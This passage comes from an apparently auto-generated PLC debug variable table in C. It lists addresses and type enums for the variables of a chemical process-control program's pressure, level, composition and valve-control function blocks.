+{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), 